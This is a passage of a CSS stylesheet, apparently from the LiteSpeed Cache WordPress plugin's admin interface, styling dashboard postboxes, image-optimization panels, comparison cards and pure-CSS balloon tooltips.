	background: #f9f9f9;
	padding: 20px;
	margin: 20px -20px -20px;
}

.litespeed-help-btn-icon {
	text-decoration: none;
	margin-left: 10px;
	color: #c8c8c8;
}

.litespeed-postbox-imgopt-info .litespeed-flex-container {
	align-items: center;
}

.litespeed-postbox-imgopt-info .litespeed-flex-container:not(:last-child) {
	margin-bottom: 0.65em;
}

.litespeed-postbox-imgopt-info .litespeed-flex-container p:first-child {
	margin-top: 0;
}

.litespeed-image-optim-summary > h3:first-child,
.litespeed-column-left-inside > h3:first-child {
	margin-top: 1.6em;
	font-size: 1.2em;
}

.litespeed-image-optim-summary > h3:first-child .litespeed-quic-icon,
.litespeed-column-left-inside > h3:first-child .litespeed-quic-icon {
	width: 1.2em;
	height: 1.4em;
	background-size: contain;
	margin-right: 0.2rem;
}

.litespeed-img-optim-actions {
	margin-top: 1.65em;
	display: flex;
	align-items: flex-end;
	flex-wrap: wrap;
}

.litespeed-img-optim-actions .button-primary {
	font-size: 1.2em;
	margin-right: 1em;
	padding: 0.35em 0.85em;
	min-width: 210px;
	text-align: center;
}

@media screen and (max-width: 1079px) {
	.litespeed-postbox-imgopt-info svg {
		height: 50px;
		width: 50px;
	}
}

@media screen and (max-width: 814px) {
	.litespeed-column-with-boxes > div:first-child {
		padding-right: 0;
		margin-bottom: 1rem;
	}
}

@media screen and (max-width: 680px) {
	.litespeed-img-optim-actions .button + .button.button-secondary {
		margin-left: 0;
		margin-top: 10px;
	}
}

/* =======================================
	VIEW - image optm media row
======================================= */

.imgoptm.column-imgoptm a[data-balloon-pos] {
	border-bottom: 1px dashed;
}

.imgoptm.column-imgoptm p {
	margin-bottom: 0.25em;
	margin-top: 0;
}

.imgoptm.column-imgoptm p + .row-actions {
	margin-top: 0.5em;
}

.fixed .column-lqip {
	width: 6rem;
}

.litespeed-media-lqip img {
	max-width: 62px;
	max-height: 62px;
}

.litespeed-media-href {
	font-size: 12px;
}

/* =======================================
		VIEW - log view
======================================= */

.litespeed-log-view-wrapper {
	margin: 1.5em 0;
}

/* =======================================
			VIEW - dashboard
======================================= */

.litespeed-dashboard-group {
	margin-bottom: 1rem;
}

.litespeed-dashboard-group > .litespeed-flex-container {
	margin: 0 -10px;
	min-width: 100%;
	width: auto;
}

.litespeed-dashboard .litespeed-postbox {
	margin: 10px;
}

.litespeed-dashboard-title a {
	text-decoration: none;
	margin-left: 0.25rem;
}

.litespeed-dashboard-title--w-btn {
	display: flex;
	align-items: center;
}

.litespeed-dashboard-title--w-btn .button {
	font-weight: normal;
}

.litespeed-postbox-footer .button-small {
	vertical-align: middle;
}

.litespeed-postbox .button.button-small .dashicons,
.litespeed-dashboard-title--w-btn .button.button-small .dashicons {
	font-size: 1rem;
	top: 0.05em;
	vertical-align: middle;
	margin-left: -5px;
}

.litespeed-dashboard-header {
	display: flex;
	align-items: center;
}

.litespeed-postbox p.litespeed-dashboard-stats-total + p.litespeed-dashboard-stats-total {
	margin-top: 1.2em;
}

.litespeed-dashboard-header:first-child {
	margin-top: 1.5rem;
}

.litespeed-dashboard-header hr {
	align-self: center;
	flex-grow: 1;
	margin-left: 15px;
	margin-right: 15px;
}

.litespeed-dashboard-header hr:last-child {
	margin-right: 0;
}

.litespeed-dashboard-header .litespeed-learn-more {
	font-weight: normal;
	text-decoration: none;
	margin-top: -2px;
	color: #5e7380;
}

.litespeed-dashboard-stats h3 {
	text-transform: uppercase;
	font-size: 12px;
	font-weight: normal;
	margin-bottom: 0;
	margin-top: 1.2em;
	color: #777;
}

.litespeed-dashboard-stats h3 + p {
	margin-top: 0;
	margin-bottom: 0;
}

.litespeed-dashboard-stats .litespeed-desc {
	color: #777;
}

.litespeed-dashboard-stats p strong {
	font-size: 2em;
	font-weight: normal;
	margin-right: 5px;
}

.litespeed-dashboard-stats-wrapper {
	display: flex;
	position: relative;
}

.litespeed-dashboard-stats-wrapper .litespeed-postbox {
	margin: 0;
	min-width: 20%;
}

.litespeed-dashboard-stats-wrapper .litespeed-postbox .inside .litespeed-title,
.litespeed-dashboard-group .litespeed-postbox .inside .litespeed-title {
	font-size: 14px;
}

.litespeed-postbox .inside .litespeed-title a {
	font-size: 13px;
}

.litespeed-dashboard-stats-wrapper .litespeed-postbox:not(:last-child) {
	margin-right: -1px;
}

.litespeed-dashboard-stats-wrapper .litespeed-postbox:not(:first-child) {
	border-left-color: #f9f9f9;
}

.litespeed-dashboard-stats-wrapper .litespeed-dashboard-stats p strong {
	font-size: 1.4rem;
}

.litespeed-dashboard-stats-wrapper .litespeed-pie {
	width: 60px;
	height: 60px;
}

.litespeed-dashboard-stats-wrapper .litespeed-flex-container + p:not(:last-child) {
	margin-bottom: 0.55em;
}

.litespeed-dashboard-stats-payg {
	color: #777;
}

.litespeed-dashboard-stats-payg strong {
	color: #444;
}

.postbox .inside > p.litespeed-dashboard-stats-payg {
	margin-top: 1.35em;
}

.postbox .inside > p.litespeed-dashboard-stats-payg:last-child {
	margin-bottom: -5px !important;
}

.litespeed-postbox p.litespeed-dashboard-stats-total {
	padding: 0.75em 20px 0 20px;
	border-top: 1px dashed #eee;
	margin-top: 0.55em;
	margin-left: -20px;
	margin-right: -20px;
	margin-bottom: -0.55em !important;
}

.litespeed-postbox.litespeed-postbox-partner .inside {
	margin: 11px 0;
}

.litespeed-dashboard-stats-wrapper .litespeed-postbox.litespeed-postbox-partner h3.litespeed-title {
	color: #777;
	font-weight: normal;
	font-size: 13px;
}

.litespeed-postbox.litespeed-postbox-partner a {
	font-size: 1.35rem;
	font-weight: bold;
	text-decoration: none;
	margin-top: 5px;
	max-width: 100%;
	display: inline-block;
}

.litespeed-postbox.litespeed-postbox-partner a:hover {
	text-decoration: underline;
}

.litespeed-postbox.litespeed-postbox-partner img {
	max-width: 12rem;
}

.litespeed-dashboard-group .litespeed-postbox {
	width: calc(25% - 20px);
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.litespeed-dashboard-group .litespeed-postbox-double {
	min-width: calc(50% - 20px);
	display: flex;
	justify-content: space-between;
}

.litespeed-postbox-double-content {
	display: flex;
	align-items: flex-start;
	justify-content: space-between;
}

.litespeed-postbox-double-content .litespeed-postbox-double-col {
	width: 50%;
}

.litespeed-postbox-double-content .litespeed-postbox-double-col:nth-child(2) {
	padding-left: 10px;
}

.litespeed-dashboard-group hr {
	margin: 1.5rem 0 0.75rem 0;
}

.litespeed-postbox .litespeed-postbox-refresh {
	text-decoration: none;
	color: #36b0b0;
	line-height: 1;
	vertical-align: top;
	margin-left: 0.5rem;
	margin-bottom: 0;
}

.litespeed-postbox .litespeed-postbox-refresh.button .dashicons {
	font-size: 22px;
	top: 0.05em;
}

.litespeed-postbox p:last-child {
	margin-bottom: 0;
}

.litespeed-label-dashboard {
	font-size: 0.92em;
	padding: 0.3em 0.6em 0.35em 0.6em;
	font-weight: normal;
	display: inline-block;
	margin-left: 8px;
	min-width: 2em;
}

.litespeed-label-dashboard:first-child {
	margin-left: 0;
	margin-right: 0.35em;
}

.litespeed-postbox .inside {
	padding: 0 20px 5px;
}

.litespeed-postbox .inside .litespeed-title {
	margin: 0 -20px 12px -20px;
	padding: 0px 20px 7px 20px;
	border-bottom: 1px solid #eee;
	font-size: 1.2em;
}

.litespeed-postbox .inside.litespeed-postbox-footer {
	border-top: 1px solid #efefef;
	background: #f9f9f9;
	padding: 20px;
	margin-bottom: 0px;
	margin-top: 0;
}

.litespeed-postbox-footer a,
a.litespeed-redetect {
	text-decoration: none;
}

.litespeed-postbox .inside.litespeed-postbox-footer--compact {
	padding: 7px 15px 8px 15px;
	font-size: 12px;
}

.litespeed-postbox-imgopt .litespeed-pie {
	width: 55px;
	height: 55px;
}

.litespeed-postbox-imgopt .litespeed-flex-container {
	align-items: center;
	margin-bottom: 10px;
}

.litespeed-postbox-imgopt .litespeed-flex-container .litespeed-icon-vertical-middle + div h3 {
	margin-top: 0;
}

.litespeed-postbox-imgopt .litespeed-flex-container .litespeed-icon-vertical-middle + div p {
	line-height: 1.2;
}

.litespeed-postbox-imgopt .litespeed-postbox-double-col:last-child > *:first-child {
	margin-top: 7px;
}

.litespeed-postbox-pagespeed p:first-child {
	margin-top: 0;
	margin-bottom: 0;
}

.litespeed-postbox-score-improve {
	line-height: 45px;
	margin-top: 7px;
	font-size: 42px;
}

.litespeed-postbox-pagespeed .litespeed-padding-space:first-child {
	padding-left: 5px;
	padding-right: 5px;
}

.litespeed-link-with-icon {
	text-decoration: underline;
	margin-right: 0.25em;
}

.litespeed-link-with-icon .dashicons {
	vertical-align: baseline;
	position: relative;
	top: 0.1em;
	font-size: 1em;
	text-decoration: none;
	width: auto;
	margin-right: 0.5em;
}

.litespeed-link-with-icon.litespeed-icon-right .dashicons {
	margin-left: 0.5em;
	margin-right: 0;
}

.litespeed-warning-bg {
	background-color: #b58a09 !important;
	color: white;
}

.litespeed-links-group:not(:last-child) {
	margin-bottom: 1em;
}

.litespeed-links-group > span:not(:last-child):after {
	content: '|';
	margin: 0 10px;
	color: #ddd;
	font-size: 13px;
}

.litespeed-wrap p.litespeed-qc-dashboard-link {
	margin-left: 1rem;
}

.litespeed-right.litespeed-qc-dashboard-link .dashicons {
	margin-left: 0.5em;
	margin-right: 0;
}

.litespeed-score-col {
	flex-grow: 1;
	padding-right: 15px;
}

.litespeed-score-col .litespeed-text-md {
	font-size: 1.35rem;
}

.litespeed-score-col.litespeed-score-col--imp {
	text-align: right;
	padding-right: 0;
}

.litespeed-score-col--imp .litespeed-text-jumbo {
	line-height: 1;
}

.litespeed-wrap span[data-balloon-pos] {
	border-bottom: 1px dashed;
}

.litespeed-wrap span[aria-label][data-balloon-pos] {
	cursor: default;
}

.litespeed-postbox--quiccloud {
	border-color: #253545;
}

.litespeed-postbox--quiccloud.litespeed-postbox .inside .litespeed-title {
	background: #253545;
	color: #e2e4e5;
	margin-top: -11px;
	padding: 10px 15px;
	margin-left: -15px;
	margin-right: -15px;
}

.litespeed-postbox--quiccloud.litespeed-postbox .inside .litespeed-title a {
	color: #8abff8;
}

.litespeed-postbox--quiccloud.litespeed-postbox .inside .litespeed-title a:hover {
	color: #a5caf2;
}

.litespeed-overwrite{
	display: inline-block;
	margin-left: 10px;
}

@media screen and (min-width: 1401px) {
	.litespeed-postbox--quiccloud.litespeed-postbox .inside .litespeed-title {
		padding-left: 20px;
		padding-right: 20px;
		margin-left: -20px;
		margin-right: -20px;
	}

	.litespeed-postbox .inside.litespeed-postbox-footer--compact {
		padding-left: 20px;
		padding-right: 20px;
	}
}

@media screen and (max-width: 1400px) and (min-width: 1024px) {
	.litespeed-dashboard-stats-wrapper .litespeed-postbox {
		flex-grow: 1;
	}

	.litespeed-postbox .inside {
		padding: 0 15px 5px;
	}

	.litespeed-dashboard-group .litespeed-postbox {
		width: calc(33.3333% - 20px);
	}

	.litespeed-dashboard-group .litespeed-postbox-double {
		min-width: calc(66.6666% - 20px);
	}
}

@media screen and (max-width: 1023px) {
	.litespeed-dashboard-stats-wrapper {
		flex-wrap: wrap;
	}

	.litespeed-dashboard-stats-wrapper .litespeed-postbox:not(:first-child) {
		border-left-color: #ccd0d4;
	}

	.litespeed-dashboard-stats-wrapper .litespeed-postbox {
		margin-top: -1px;
		min-width: calc(33.3333% - 1px);
	}

	.litespeed-postbox .inside {
		padding: 0 15px 5px;
	}

	.litespeed-dashboard-group .litespeed-postbox {
		width: calc(50% - 20px);
	}

	.litespeed-dashboard-group .litespeed-postbox-double {
		min-width: calc(100% - 20px);
	}
}

@media screen and (max-width: 719px) and (min-width: 480px) {
	.litespeed-dashboard-stats-wrapper .litespeed-postbox {
		margin-top: -1px;
		min-width: calc(50% - 2px);
	}
}

@media screen and (max-width: 569px) {
	.litespeed-dashboard-stats-wrapper .litespeed-postbox {
		min-width: 100%;
	}

	.litespeed-dashboard-group .litespeed-postbox {
		width: 100%;
	}

	.litespeed-postbox-double-content .litespeed-postbox-double-col {
		width: 100%;
	}

	.litespeed-postbox-double-content .litespeed-postbox-double-col:nth-child(2) {
		padding-left: 0;
		margin-top: 7px;
	}

	.litespeed-postbox-double-content {
		flex-wrap: wrap;
	}
}

/* =======================================
			VIEW - dashboard QC services
======================================= */

.litespeed-dashboard-qc {
	position: relative;
}

.litespeed-dashboard-unlock {
	text-align: center;
	background-color: #fff;
	box-shadow:
		0 0.125rem 0.4rem -0.0625rem rgba(0, 0, 0, 0.03),
		0px 3px 0px 0px rgba(0, 0, 0, 0.07);
	border-radius: 0.5rem;
	padding: 2rem;
	position: absolute;
	z-index: 5;
	left: 50%;
	transform: translate(-50%, 25%);
	top: 0;
	max-width: 96%;
	width: 540px;
}

.litespeed-dashboard-unlock.litespeed-dashboard-unlock--inline {
	position: relative;
	left: 50%;
	transform: translate(-50%, 0);
	border: 1px solid #e5e5e5;
	background: #fafafa;
	margin-top: 2rem;
	margin-bottom: 1rem;
	max-width: calc(100% - 4rem);
}

.litespeed-dashboard-unlock-title {
	font-size: 28px;
}

.litespeed-dashboard-unlock-desc {
	font-size: 17px;
	color: #000;
}

.litespeed-dashboard-unlock-desc span {
	font-size: 14px;
	color: #666;
}

p.litespeed-dashboard-unlock-footer {
	margin: 3em auto 0 auto;
	max-width: 500px;
}

.litespeed-qc-text-gradient {
	background: -webkit-linear-gradient(130deg, #ff2a91, #2295d8 60%, #161f29);
	-webkit-background-clip: text;
	-webkit-text-fill-color: transparent;
	font-weight: 800;
}

.litespeed-dashboard-unlock a.button.button-primary,
.litespeed-wrap .button.litespeed-button-cta {
	font-size: 1.2em;
	padding: 0.35em 1em 0.35em 0.85em;
	min-width: 210px;
	text-align: center;
}

.litespeed-dashboard-unlock a.button.button-primary {
	margin-top: 10px;
}

.litespeed-dashboard-unlock a.button.button-primary .dashicons,
.litespeed-wrap .button.litespeed-button-cta .dashicons {
	vertical-align: baseline;
	top: 0.25em;
	margin-right: 0.5em;
}

.litespeed-dashboard-unlock + .litespeed-dashboard-qc-enable {
	opacity: 0.75;
	filter: blur(2px);
}

.litespeed-dashboard-unlock + .litespeed-dashboard-qc-enable:before {
	content: '';
	position: absolute;
	left: -10px;
	top: -5px;
	width: calc(100% + 20px);
	height: calc(100% + 10px);
	background: #161e29;
	z-index: 2;
	opacity: 0.55;
	filter: blur(2px);
}

@media screen and (min-width: 1400px) {
	.litespeed-dashboard-unlock {
		width: 800px;
	}
}

@media screen and (max-width: 640px) {
	.litespeed-dashboard-unlock {
		max-width: 80%;
		padding: 1rem 1.5rem 2rem 1.5rem;
		transform: translate(-50%, 10%);
	}

	.litespeed-dashboard-unlock-title {
		font-size: 22px;
		line-height: 1.2;
	}
}

@media screen and (max-width: 340px) {
	.litespeed-dashboard-unlock a.button.button-primary,
	.litespeed-wrap .button.litespeed-button-cta {
		padding: 0.35em 1em 0.35em 1em;
	}

	.litespeed-dashboard-unlock a.button.button-primary .dashicons,
	.litespeed-wrap .button.litespeed-button-cta .dashicons {
		display: none;
	}

	p.litespeed-dashboard-unlock-footer {
		margin-top: 2em;
	}
}

/********************************* todo *******************************/

/* image optimize page */

.litespeed-column-java {
	background: #5cadad !important;
}

.litespeed-text-shipgrey {
	color: #535342 !important;
}

.litespeed-text-dimgray {
	color: #666666 !important;
}

.litespeed-text-grey {
	color: #999999 !important;
}

.litespeed-text-whisper {
	color: #e6e6e6 !important;
}

.litespeed-text-malibu {
	color: #5cbdde !important;
}

.litespeed-text-morningglory {
	color: #99cccc !important;
}

.litespeed-text-fern {
	color: #66cc66 !important;
}

.litespeed-text-persiangreen {
	color: #009999 !important;
}

.litespeed-text-lead {
	font-size: 16px;
}

.litespeed-text-small {
	font-size: 12px;
	line-height: 14px;
}

.litespeed-text-thin {
	font-weight: 100;
}

.litespeed-contrast {
	color: white;
}

.litespeed-hr-dotted {
	border: 1px dotted #eeeeee;
}

.litespeed-hr {
	padding-bottom: 1.5em;
	border-bottom: 0.5px solid #97caca;
}

.litespeed-hr-with-space {
	border-top: 1px solid #eeeeee;
	margin: 2em 0;
	border-bottom: none;
}

.litespeed-icon-vertical-middle {
	vertical-align: middle;
	display: inline-block;
	margin: 0px 10px 0px 10px;
}

.litespeed-column-java .litespeed-danger {
	color: #c1c53a !important;
}

.litespeed-column-java .litespeed-desc {
	color: #bfbfbf;
}

.litespeed-column-java code {
	color: #c2f5bf;
	background-color: #238888;
}

.litespeed-column-java .litespeed-title {
	color: white;
}

.litespeed-width-7-10 .litespeed-progress {
	margin: 1em;
}

.litespeed-refresh:after {
	content: '⟳';
	width: 20px;
	height: 20px;
	color: #40ad3a;
}

.litespeed-column-java .litespeed-refresh:after {
	color: #23ec17;
}

.litespeed-refresh:hover:after,
.litespeed-refresh:focus:after,
.litespeed-refresh:focus:active:after {
	color: #7ffbfb;
}

.litespeed-width-3-10 .litespeed-title {
	margin: 18px 0;
}

.litespeed-silence {
	color: #b1b1b1;
}

.litespeed-column-java .litespeed-congratulate {
	color: #c2f5bf;
	font-size: 20px;
}

.litespeed-light-code .litespeed-silence code {
	background-color: #f0f5fb;
}

.litespeed-column-java .litespeed-btn-danger {
	color: #f194a8;
	border-color: #f194a8;
}

.litespeed-column-java .litespeed-btn-danger:hover {
	background: #f194a8;
}

.litespeed-column-java svg.litespeed-pie circle.litespeed-pie_bg {
	stroke: #e8efe7;
}

.litespeed-column-java svg.litespeed-pie circle.litespeed-pie_circle {
	stroke: #97caca;
}

.litespeed-column-java svg .litespeed-pie_info text {
	fill: #f5ffeb;
}

.litespeed-column-java svg g.litespeed-pie_info .litespeed-pie-done {
	fill: #a5ffa0;
}

.litespeed-column-java a {
	color: #eaf8ff;
}

.litespeed-column-java a:hover {
	color: #ffffff;
}

.litespeed-progress-bar-blue {
	background-color: #33adff;
}

.litespeed-status-current {
	font-size: 3.5em;
	margin: 1.25em 0em 0.75em 0em;
}

/* .litespeed-title, .litespeed-title-short {
	margin: 18px 0;
	border-bottom: 1px solid #C1D5EA;
	margin: 2.5em 0px 1.5em 0 !important;
} */

.litespeed-column-java .litespeed-desc {
	color: #cae4e4;
}

.litespeed-column-java .litespeed-warning {
	color: #ffd597 !important;
}

.litespeed-column-java .litespeed-btn-success {
	color: #ddf1e4;
	border: 1px solid #33ad5c;
	background: #33ad5c;
}

.litespeed-column-java .litespeed-btn-success:hover {
	color: #ffffff;
	border: 1px solid #7dca97;
	background: #009933;
}

.litespeed-column-java .litespeed-btn-warning {
	color: #fff1dd;
	border: 1px solid #ff9933;
	background-color: #ff9933;
}

.litespeed-column-java .litespeed-btn-warning:hover {
	color: #ffffff;
	border-color: #ffca7d;
	background: #ff9900;
}

.litespeed-column-java .litespeed-btn-danger {
	color: #ffeadd !important;
	border: 1px solid #ff6600 !important;
	background: #ff5c5c;
}

.litespeed-column-java .litespeed-btn-danger:hover {
	color: #ffffff;
	border: 1px solid #ff9797 !important;
	background: #ff0000;
}

.litespeed-column-java .litepseed-dash-icon-success,
.litepseed-dash-icon-success {
	color: #5cdede;
	font-size: 2em;
	margin-top: -0.25em;
}

.litespeed-column-java .litepseed-dash-icon-success:hover,
.litepseed-dash-icon-success:hover {
	color: #7de5e5;
}

.litespeed-dashicons-large {
	font-size: 2em;
}

.litespeed-column-java p {
	color: #ffffff;
}

.litespeed-body tbody > tr > th.litespeed-padding-left {
	padding-left: 3em;
}

@media screen and (max-width: 680px) {
	.litespeed-body tbody > tr > th.litespeed-padding-left {
		padding-left: 10px;
	}

	.litespeed-body tbody > tr > th.litespeed-padding-left:before {
		content: '\2014\2014';
		color: #ccc;
		margin-right: 5px;
	}
}

.litespeed-txt-small {
	font-size: 12px;
}

.litespeed-txt-disabled .litespeed-text-dimgray {
	color: #aaaaaa;
}

.litespeed-txt-disabled svg {
	fill: #aaaaaa;
}

.litespeed-txt-disabled circle.litespeed-pie_circle {
	stroke: #cccccc;
}

.litespeed-txt-disabled g.litespeed-pie_info text {
	color: #cccccc;
}

a.litespeed-media-href svg:hover {
	border-radius: 50%;
	background: #f1fcff;
	fill: #5ccad7;
	box-shadow: 0 0 5px 1px #7dd5df;
	transition: all 0.2s ease-out;
	transform: scale(1.05);
}

.litespeed-media-p a .dashicons-trash {
	font-size: 2.25em;
	vertical-align: middle;
	display: inline;
	border-radius: 50%;
	line-height: 1.5em;
}

.litespeed-media-p a .dashicons-trash:hover {
	transition: all 0.2s ease-out;
	color: #ffa500 !important;
	background: #fff5e6;
	box-shadow: 0 0 10px 1px #ff8c00;
}

.litespeed-media-p div > svg circle.litespeed-pie_bg {
	stroke: #ecf2f9;
}

.litespeed-media-p div > svg circle.litespeed-pie_circle {
	stroke: #9fbfdf;
}

.litespeed-media-p div > svg {
	fill: #538cc6;
	background: rgba(236, 242, 249, 0.1);
	border-radius: 50%;
}

.litespeed-banner-description-padding-right-15 {
	padding-right: 15px;
}

.litespeed-banner-description {
	display: inline-flex;
	flex-wrap: wrap;
}

.litespeed-banner-description-content {
	margin: 0px;
	line-height: 1.25em;
}

.litespeed-banner-button-link {
	white-space: nowrap;
	margin: 0px;
	line-height: 1.5em;
	padding-bottom: 5px;
}

.litespeed-notice-dismiss {
	position: absolute;
	right: 25px;
	border: none;
	margin: 0;
	padding: 10px;
	background: none;
	cursor: pointer;
	color: #888888;
	display: block;
	height: 20px;
	text-align: center;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	font-weight: 600;
	text-decoration: none;
}

.litespeed-notice-dismiss:hover,
.litespeed-notice-dismiss:active,
.litespeed-notice-dismiss:focus {
	color: #cc2929;
}

.litespeed-dot {
	display: inline-block;
	border-radius: 50%;
	width: 20px;
	height: 20px;
	color: white;
	text-align: center;
}

.litespeed-badge {
	display: inline-block;
	border-radius: 20%;
	min-width: 50px;
	height: 20px;
	color: white;
	text-align: center;
}

/* =======================================
	Comparison Cards - Presets
======================================= */

.litespeed-comparison-card {
	box-sizing: border-box;
}

.litespeed-comparison-card-rec .litespeed-card-content > div.litespeed-card-body {
	font-size: 14px;
}

.litespeed-comparison-card-rec .litespeed-card-action {
	margin-bottom: 0.25rem;
}

.litespeed-comparison-card-rec h3 {
	font-size: 20px;
}

.litespeed-card-content > div,
.litespeed-card-action {
	padding: 0.85rem 1.25rem;
}

.litespeed-card-header {
	border-bottom: 1px solid #eee;
	background: #f9fafc;
}

.litespeed-card-content > div.litespeed-card-body {
	align-self: stretch;
	justify-content: flex-end;
	font-size: 15px;
	padding-bottom: 0.5rem;
	padding-top: 1rem;
}

.litespeed-card-content > div.litespeed-card-footer {
	align-self: stretch;
	justify-content: flex-end;
	padding-bottom: 0;
	padding-top: 0.25rem;
}

.litespeed-card-action {
	justify-content: flex-end;
}

.litespeed-comparison-card ul {
	padding-left: 20px;
	list-style: none;
	list-style-position: outside;
	margin: 0;
}

.litespeed-comparison-card li {
	margin-bottom: 0.5em;
	line-height: 1.4;
}

.litespeed-comparison-card li:last-child {
	margin-bottom: 0;
}

.litespeed-comparison-card ul li:before {
	content: '✓';
	margin-left: -1em;
	margin-right: 0.35em;
	color: #329c74;
}

@media screen and (max-width: 1279px) {
	.litespeed-comparison-card {
		margin: 0 0 -1px 0;
	}
}

@media screen and (min-width: 640px) and (max-width: 1279px) {
	.litespeed-comparison-cards {
		max-width: 740px;
	}

	.litespeed-card-content {
		display: flex;
		flex-wrap: wrap;
	}

	.litespeed-card-content .litespeed-card-header {
		width: 100%;
	}

	.litespeed-card-content > div.litespeed-card-body {
		align-self: initial;
		width: 50%;
		box-sizing: border-box;
	}

	.litespeed-card-content > div.litespeed-card-footer {
		width: 50%;
		align-self: initial;
		box-sizing: border-box;
	}

	.litespeed-card-content > div.litespeed-card-footer h4 {
		margin-top: 1rem;
	}
}

@media screen and (min-width: 1280px) {
	.litespeed-comparison-cards {
		display: flex;
		margin: 3rem 0 2rem 0;
		max-width: 1720px;
	}

	.litespeed-comparison-card {
		width: 19%;
		min-width: 0;
		display: flex;
		flex-direction: column;
		margin-right: -1px;
		justify-content: space-between;
	}

	.litespeed-comparison-card:first-child {
		border-top-left-radius: 5px;
		border-bottom-left-radius: 5px;
		overflow: hidden;
	}

	.litespeed-comparison-card:last-child {
		border-top-right-radius: 5px;
		border-bottom-right-radius: 5px;
		overflow: hidden;
	}

	.litespeed-comparison-card-rec {
		width: 23%;
		padding-top: 1rem;
		padding-bottom: 0.75rem;
		margin-top: -1rem;
		margin-bottom: 0.25rem;
		border-radius: 5px;
		overflow: hidden;
	}

	.litespeed-comparison-card-rec .litespeed-card-header {
		margin-top: -1rem;
		padding-top: 1.75rem;
		padding-bottom: 0.95rem;
	}
}

/* =======================================
		BALLOON PURE CSS TOOLTIPS
======================================= */

.litespeed-wrap {
	--balloon-color: rgba(16, 16, 16, 0.95);
	--balloon-font-size: 12px;
	--balloon-move: 4px;
}

.litespeed-wrap button[aria-label][data-balloon-pos] {
	overflow: visible;
}

.litespeed-wrap [aria-label][data-balloon-pos] {
	position: relative;
	cursor: pointer;
}

.litespeed-wrap [aria-label][data-balloon-pos]:after {
	opacity: 0;
	pointer-events: none;
	transition: all 0.2s ease 0.05s;
	text-indent: 0;
	font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
	font-weight: normal;
	font-style: normal;
	text-shadow: none;
	font-size: var(--balloon-font-size);
	background: var(--balloon-color);
	border-radius: 2px;
	color: #fff;
	content: attr(aria-label);
	padding: 0.5em 1em;
	position: absolute;
	white-space: nowrap;
	z-index: 10;
	line-height: 1.4;
}

.litespeed-wrap [aria-label][data-balloon-pos]:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-top-color: var(--balloon-color);
	opacity: 0;
	pointer-events: none;
	transition: all 0.2s ease 0.05s;
	content: '';
	position: absolute;
	z-index: 10;
}

.litespeed-wrap [aria-label][data-balloon-pos]:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos]:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-visible]:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-visible]:after,
.litespeed-wrap [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:before,
.litespeed-wrap [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:after {
	opacity: 1;
	pointer-events: none;
}

.litespeed-wrap [aria-label][data-balloon-pos].font-awesome:after {
	font-family:
		FontAwesome,
		-apple-system,
		BlinkMacSystemFont,
		'Segoe UI',
		Roboto,
		Oxygen,
		Ubuntu,
		Cantarell,
		'Open Sans',
		'Helvetica Neue',
		sans-serif;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-break]:after {
	white-space: pre;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-break][data-balloon-length]:after {
	white-space: pre-line;
	word-break: break-word;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-blunt]:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-blunt]:after {
	transition: none;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up']:after {
	bottom: 100%;
	left: 50%;
	margin-bottom: 10px;
	transform: translate(-50%, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up']:before {
	bottom: 100%;
	left: 50%;
	transform: translate(-50%, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up'][data-balloon-visible]:after {
	transform: translate(-50%, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up'][data-balloon-visible]:before {
	transform: translate(-50%, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left']:after {
	bottom: 100%;
	left: 0;
	margin-bottom: 10px;
	transform: translate(0, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left']:before {
	bottom: 100%;
	left: 5px;
	transform: translate(0, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left'][data-balloon-visible]:after {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-left'][data-balloon-visible]:before {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right']:after {
	bottom: 100%;
	right: 0;
	margin-bottom: 10px;
	transform: translate(0, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right']:before {
	bottom: 100%;
	right: 5px;
	transform: translate(0, var(--balloon-move));
	transform-origin: top;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right'][data-balloon-visible]:after {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='up-right'][data-balloon-visible]:before {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down']:after {
	left: 50%;
	margin-top: 10px;
	top: 100%;
	transform: translate(-50%, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down']:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-bottom-color: var(--balloon-color);
	left: 50%;
	top: 100%;
